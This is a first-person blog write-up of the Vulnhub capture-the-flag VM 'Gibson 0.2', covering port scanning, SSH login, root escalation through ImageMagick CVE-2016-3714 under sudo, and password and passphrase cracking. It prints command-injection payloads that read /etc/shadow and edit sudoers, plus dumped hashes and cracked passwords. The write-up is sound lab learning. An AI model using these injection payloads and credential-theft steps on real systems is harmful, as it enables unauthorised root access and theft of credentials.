Gibson 0.2

I decided to get started in the world of CTF writeups with this VM made by Knightmare! The description promised some unexpected twists, but at the same time it didn’t seem to be heavy on reversing and/or binary exploitation, so I felt it was a good place to start. Without further ado, let’s begin!

Service discovery

The starting point is always finding out which services are running on the open ports, so let’s do that.

root@kali:~# nmap -A -p1-65535 192.168.56.102

Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-17 18:14 CEST
Nmap scan report for 192.168.56.102
Host is up (0.00022s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fb:f6:d1:57:64:fa:38:66:2d:66:40:12:a4:2f:75:b4 (DSA)
|   2048 32:13:58:ae:32:b0:5d:b9:2a:9c:87:9c:ae:79:3b:2e (RSA)
|_  256 3f:dc:7d:94:2f:86:f1:83:41:db:8c:74:52:f0:49:43 (ECDSA)
80/tcp open  http    Apache httpd 2.4.7
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 273   2016-05-07 13:03  davinci.html
|_
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Index of /
MAC Address: 08:00:27:AF:47:CA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: Host: gibson.example.co.uk; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.22 ms 192.168.56.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.83 seconds

Of course I was not going to be able to straightforward SSH in, so I’d better check what’s in the web server.

Web server

I opened Iceweasel and navigated to port 80. There was a single file listed: davinci.html

<!-- Damn it Margo! Stop setting your password to "god" -->
<!-- at least try and use a different one of the 4 most -->
<!-- common ones! (eugene) -->
<h1> The answer you seek will be found by brute force</h1>

This seemed a pretty clear hint to the SSH credentials. I tried the ssh users Margo, davinci, root and eugene but neither was asked for a password (only publickey). I thought in being explicit, just in case:

ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no 192.168.56.102

But no luck, the password login was disabled.

…Then I noticed I had tried Margo, not margo, and guess what?

ssh margo@192.168.56.102 #god

Bingo.

Margo

Of course sudo su didn’t work (it would have been too easy, right?) but I was luckier with sudo -l. It seemed that margo could run /usr/bin/convert as root. The binary was part of the ImageMagick tool… which reminded of CVE-2016-3714.

After some research, I managed to run commands as root exploiting said vulnerability. The fastest way to get root with this was to edit the sudoers file, but before that I played around a little.

margo@gibson:~$ sudo convert 'https://example.com"|cat "/etc/shadow' out.png
root:!:16921:0:99999:7:::
daemon:*:16652:0:99999:7:::
bin:*:16652:0:99999:7:::
sys:*:16652:0:99999:7:::
sync:*:16652:0:99999:7:::
games:*:16652:0:99999:7:::
man:*:16652:0:99999:7:::
lp:*:16652:0:99999:7:::
mail:*:16652:0:99999:7:::
news:*:16652:0:99999:7:::
uucp:*:16652:0:99999:7:::
proxy:*:16652:0:99999:7:::
www-data:*:16652:0:99999:7:::
backup:*:16652:0:99999:7:::
list:*:16652:0:99999:7:::
irc:*:16652:0:99999:7:::
gnats:*:16652:0:99999:7:::
nobody:*:16652:0:99999:7:::
libuuid:!:16652:0:99999:7:::
syslog:*:16652:0:99999:7:::
messagebus:*:16921:0:99999:7:::
dnsmasq:*:16921:0:99999:7:::
landscape:*:16921:0:99999:7:::
sshd:*:16921:0:99999:7:::
libvirt-qemu:!:16921:0:99999:7:::
libvirt-dnsmasq:!:16921:0:99999:7:::
duke:$6$xRLSRx7x$O.REaRUKj6zM.ZAYFBfZEfq.iyoiHKlpNCFlh9D8gQBfRdldL05vAxHmjuTgriKCetSADyWyLKvklZhcQp7mu1:16928:0:99999:7:::
colord:*:16922:0:99999:7:::
eugene:$6$UU15rhob$qZ5B2VjeCk9QIlxXS6QDf9MuxFpNkfAQTc3V3ny.57kLHLj1aOdLnmprfL53niAfztzGMLJqSZaS79sYY1X1a/:16928:0:99999:7:::
margo:$6$Nx0eYFUO$f99BzOSc/hBLbflCsV5912gdcNNUKRi/xGTz7xldbr402BQ367eN.GsCScejNNotaJg9oQPhqdzqq/DcHCKYD/:16928:0:99999:7:::
convert.im6: unable to open image `/tmp/magick-rCN9wlXv': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-rCN9wlXv': No such file or directory @ error/constitute.c/ReadImage/583.
convert.im6: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3044.

I cracked the hashes for duke and eugene with John the Ripper, which was surprisingly fast.

root@kali:~/gibson# john hashes.txt 
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:07 75.42% 1/3 (ETA: 18:47:31) 0g/s 811.3p/s 811.3c/s 811.3C/s 9999955..d9999957
secret           (eugene)
love             (duke)
god              (margo)
3g 0:00:00:16 DONE 2/3 (2016-05-17 18:47) 0.1806g/s 729.3p/s 740.8c/s 740.8C/s fiction..jethrotull
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Eugene

duke seemed a pretty normal user, but eugene was good news. From the sudoers file I found out that eugene could execute another command as root:

eugene ALL=(ALL) NOPASSWD: /usr/bin/virt-manager 

Which I honestly had no idea what it was. After some googling, I learned that virt-manager is a VM manager! Then I remembered the hints given at the description of the challenge:

  • It doesn’t matter what your local subnet is, as long as you keep away from the 192.168.122.0/24 subnet.
  • SSH can forward X11.
  • The challenge isn’t over with root. The flag is not where you expect to find it.

The network part was interesting.

eugene@gibson::~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:af:47:ca  
          inet addr:192.168.56.102  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feaf:47ca/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:143078 errors:0 dropped:0 overruns:0 frame:0
          TX packets:140857 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9389412 (9.3 MB)  TX bytes:11069499 (11.0 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:752 errors:0 dropped:0 overruns:0 frame:0
          TX packets:752 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:54416 (54.4 KB)  TX bytes:54416 (54.4 KB)

virbr0    Link encap:Ethernet  HWaddr fe:54:00:72:e2:fb  
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:15 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1271 (1.2 KB)  TX bytes:1889 (1.8 KB)

vnet0     Link encap:Ethernet  HWaddr fe:54:00:72:e2:fb  
          inet6 addr: fe80::fc54:ff:fe72:e2fb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1665 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500 
          RX bytes:1355 (1.3 KB)  TX bytes:87921 (87.9 KB)

Wow, so there was actually another active interface: virbr0. Could it be that, inside the VM, there was ANOTHER VM?

The thing was that I couldn’t SSH as eugene directly, because of the no-password restriction. I could’ve added a public key to his home directory or disabled the restriction, but rather I just su‘d into him.

…Which was a pain, because when running sudo virt-manager it complained about the X11 authentication failing. Of course, I didn’t have an xauth cookie for eugene. So I copied it from margo.

root@kali:~/gibson# ssh -X margo@192.168.56.102
Ubuntu 14.04.3 LTS
margo@192.168.56.102's password: #god
margo@gibson:~$ xauth list
gibson/unix:10  MIT-MAGIC-COOKIE-1  01dccb5a0820e7f65c5211528c49c0eb
margo@gibson:~$ su eugene
Password: #secret
eugene@gibson:/home/margo$ xauth add gibson/unix:10  MIT-MAGIC-COOKIE-1  01dccb5a0820e7f65c5211528c49c0eb
eugene@gibson:/home/margo$ sudo /usr/bin/virt-manager

Holy f*ck, I got in.

Note

Of course, I could’ve always modified the /etc/sudoers file and get root directly:

sudo convert 'https://example.com"|vi "/etc/sudoers' out.png

Change the following line:

margo ALL=(ALL) NOPASSWD: ALL#/usr/bin/convert

And voilà.

margo@gibson:~$ sudo su
root@gibson:/home/margo# 

FreeDOS?

The virt-manager GUI appeared, and only one machine named “ftpserv” existed. I opened a shell by double-clicking it and discovered that it was running a FreeDOS :-O Had to Google quite a bit at this point…

Once I thought I could continue, I started by exploring the directories. After a dir I found this directory named GARBAGE which catched my attention.

cd garbage
dir

ADMINSPO.JPG
FLAG.IMG
JZ_UG.ANS

The FLAG.IMG seemed interesting, but I had to find a way to take it outside the box.

I decided to go big and copied the full VM disk image to my Kali box. I’m subtle as that :)

At this point, the root permissions became a need, so I modified the sudoers file as explained before.

margo@gibson:~$ sudo su
root@gibson:/home/margo# cp /var/lib/libvirt/images/ftpserv.img /tmp/
root@gibson:/home/margo# chown margo /tmp/ftpserv.img

And then I was able to get it from my Kali:

root@kali:~# scp margo@192.168.56.102:/tmp/ftpserv.img gibson

Getting the flag

I mounted the image (fun name, KFLYNN, Kevin Flynn from Tron!) and went to garbage.

There I ran exiftool to peek on the metadata of the JPG file:

root@kali:/media/root/KFYLNN/GARBAGE# exiftool adminspo.jpg
ExifTool Version Number         : 10.15
File Name                       : adminspo.jpg
Directory                       : .
File Size                       : 120 kB
File Modification Date/Time     : 2016:05:04 23:17:44+02:00
File Access Date/Time           : 1980:01:01 01:00:00+01:00
File Inode Change Date/Time     : 2016:05:04 23:31:08+02:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : Rabbit.. Flu Shot... TYPE COOKE YOU IDIOT! I'll head them off at the pass
Modify Date                     : 2016:05:04 22:29:32
Artist                          : Virtualization is fun.. What's more, esoteric OSes on 192.168.122 are even more fun
User Comment                    : So there's info here.... Images, hmm... Wasn't that a CVE...? Oh yes... CVE 2016-3714....http://www.openwall.com/lists/oss-security/2016/05/03/18 so which person can run it. Perhaps the man who knew a lot about Sean Connery in Trainspotting when he wasn't  causing a 7 point drop in the NYSE
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 800
Image Height                    : 800
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 800x800
Megapixels                      : 0.640

Fun, but not useful anymore :)

So it was time to mount flag.img.

There were three files, an executable program, its source code in C, and a hint.txt file.

root@kali:/media/root/d59bdd40-ec37-4d24-a956-80f549846121# cat hint.txt
http://www.imdb.com/title/tt0117951/ and
http://www.imdb.com/title/tt0113243/ have
someone in common... Can you remember his
original nom de plume in 1988...?

So it turns out Trainspotting and Hackers have the actor Jonny Lee Miller in common. I had to search what “nom de plume” meant (lol), but I quickly learnt it translates to “nickname”. I guess I should’ve known that already but… Whatever, Miller’s nickname in Hackers (which takes place in 1988) is “Zero Cool/Crash Override”. But what do I do with that?

I have to say I spent quite too much time trying to break the game in order to get something interesting. Modified the highscores.txt file trying to make it crash, entered ZeroCool and CrashOverride as users just in case, played around with the snake (fun game btw), but eventually…

root@kali:/media/root/d59bdd40-ec37-4d24-a956-80f549846121# ls -la
total 70
drwxr-xr-x  4 root root  1024 May 14 15:07 .
drwxr-x---+ 4 root root  4096 May 21 09:40 ..
-rwxrwxr-x  1 root root 21358 Nov 16  2011 davinci
-rw-r--r--  1 root root 28030 Nov 16  2011 davinci.c
-rw-r--r--  1 root root   159 May  5 20:56 hint.txt
drwx------  2 root root 12288 May  5 20:39 lost+found
drwxr-xr-x  2 root root  1024 May  5 21:07 .trash

Yeah, maybe I should have started by doing that.

root@kali:/media/root/d59bdd40-ec37-4d24-a956-80f549846121# cd .trash/
root@kali:/media/root/d59bdd40-ec37-4d24-a956-80f549846121/.trash# ls -la
total 319
drwxr-xr-x 2 root root   1024 May  5 21:07 .
drwxr-xr-x 4 root root   1024 May 14 15:07 ..
---x------ 1 root root    469 May 14 15:18 flag.txt.gpg
-rw-r--r-- 1 root root 320130 Sep  7  2015 LeithCentralStation.jpg

So now I need the passpharse to decrypt the flag! Could it be that the hint.txt was referring to this?

Tried the gpg command with ZeroCool, zerocool, CrashOverride and crashoverride as passphrases to no avail. I ran exiftool on the jpg file, but there was nothing interesting.

So I decided to go full bruteforce and generated some wordlists with cupp’s interactive mode.

root@kali:~/gibson# ~/cupp.py -i
...
root@kali:~/gibson# for i in $(cat ~/cupp/zero.txt); do gpg --passphrase $i flag.txt.gpg; if [ -a "flag.txt" ]; then echo "Passphrase found! $i"; break; fi; done

After some tries and combinations, what finally made the trick was including the word ‘ZeroKool’ AND activating the tool’s l33t mode.

...
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase
gpg: WARNING: message was not integrity protected
Passphrase found! Z3r0K00l
root@kali:~/gibson# cat flag.txt
 _   _            _      _____ _             ____  _                  _   _
| | | | __ _  ___| | __ |_   _| |__   ___   |  _ \| | __ _ _ __   ___| |_| |
| |_| |/ _` |/ __| |/ /   | | | '_ \ / _ \  | |_) | |/ _` | '_ \ / _ \ __| |
|  _  | (_| | (__|   <    | | | | | |  __/  |  __/| | (_| | | | |  __/ |_|_|
|_| |_|\__,_|\___|_|\_\   |_| |_| |_|\___|  |_|   |_|\__,_|_| |_|\___|\__(_)


Should you not be standing in a 360 degree rotating payphone when reading
this flag...? B-)

Anyhow, congratulations once more on rooting this VM. This time things were
a bit esoteric, but I hope you enjoyed it all the same.

Shout-outs again to #vulnhub for hosting a great learning tool. A special
thanks goes to g0blin and GKNSB for testing, and to g0tM1lk for the offer
to host the CTF once more.
                                                              --Knightmare

Phew! For my first CTF writeup, this one surely got me confused for a while and made me take my time! I’m sure this could have been done better/faster, but nonetheless I managed to complete it. Big thanks to Knightmare for the fun challenege, I really enjoyed the movie references and learned quite a few new things (special mention to the whole FreeDOS thing!)

Written on May 21, 2016